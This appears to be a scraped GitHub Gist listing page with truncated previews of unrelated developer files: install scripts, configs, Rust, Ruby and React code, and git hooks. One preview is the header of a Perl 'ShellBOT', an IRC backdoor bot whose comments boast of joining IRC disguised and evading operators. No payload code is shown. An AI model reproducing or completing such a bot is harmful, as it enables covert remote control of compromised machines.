This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo apt-get install openjdk-6-jre-headless | |
curl -O http://dist.neo4j.org/neo4j-community-1.5.M02-unix.tar.gz | |
tar -xf neo4j-community-1.5.M02-unix.tar.gz | |
rm neo4j-community-1.5.M02-unix.tar.gz | |
neo4j-community-1.5.M02/bin/neo4j start |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mod templates; | |
use actix_web::{web, App, HttpRequest, HttpServer, Responder}; | |
use perseus::{Html, PerseusApp}; | |
#[cfg(not(target_arch = "wasm32"))] | |
pub async fn dflt_server< | |
M: perseus::stores::MutableStore + 'static, | |
T: perseus::i18n::TranslationsManager + 'static, | |
>( | |
props: perseus::server::ServerProps<M, T>, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Show hidden characters
{ | |
"extends": [ | |
"eslint:recommended", | |
"plugin:react/recommended", | |
"standard" | |
], | |
"root": true, | |
"rules": { | |
"jsx-quotes": "error", | |
"indent": ["error", "tab"], |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Middleware | |
class Logger | |
def initialize(app) | |
@app = app | |
end | |
def call(env) | |
headers = env.select {|k,v| k.start_with? 'HTTP_'} | |
.map {|pair| [pair[0].sub(/^HTTP_/, ''), pair[1]].join(": ")} | |
.sort |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# AddonComponents grafana component is disabled. | |
--- | |
# AddonComponents istiocoredns component is disabled. | |
--- | |
# AddonComponents kiali component is disabled. | |
--- | |
# Resources for AddonComponents prometheus component |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/perl | |
# ShellBOT | |
# 0ldW0lf - oldwolf@atrix-team.org | |
# - www.atrix-team.org | |
# Stealth ShellBot Vers�o 0.2 by Thiago X | |
# Feito para ser usado em grandes redes de IRC sem IRCOP enchendo o saco :) | |
# Mudan�as: | |
# - O Bot pega o nick/ident/name em uma URL e entra no IRC disfar�ado :); | |
# - O Bot agora responde PINGs; | |
# - Voc� pode definir o prefixo dos comandos nas configura��es; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
# | |
# An example hook script to check the commit log message taken by | |
# applypatch from an e-mail message. | |
# | |
# The hook should exit with non-zero status after issuing an | |
# appropriate message if it wants to stop the commit. The hook is | |
# allowed to edit the commit message file. | |
# | |
# To enable this hook, rename this file to "applypatch-msg". |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[color] | |
ui = auto | |
[color "branch"] | |
current = yellow | |
local = yellow | |
remote = green | |
[color "diff"] | |
meta = yellow | |
frag = magenta | |
old = red |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import React from 'react' | |
const FormContext = React.createContext({ | |
formState: {}, | |
update: () => {}, | |
}) | |
export class Form extends React.PureComponent { | |
state = { | |
formState: {}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!bin/bash | |
set -e | |
FILE_COUNT=0 | |
check_env() { | |
if [ -z $CC_TEST_REPORTER_ID ] | |
then | |
echo "Please set CC_TEST_REPORTER_ID variable." |
NewerOlder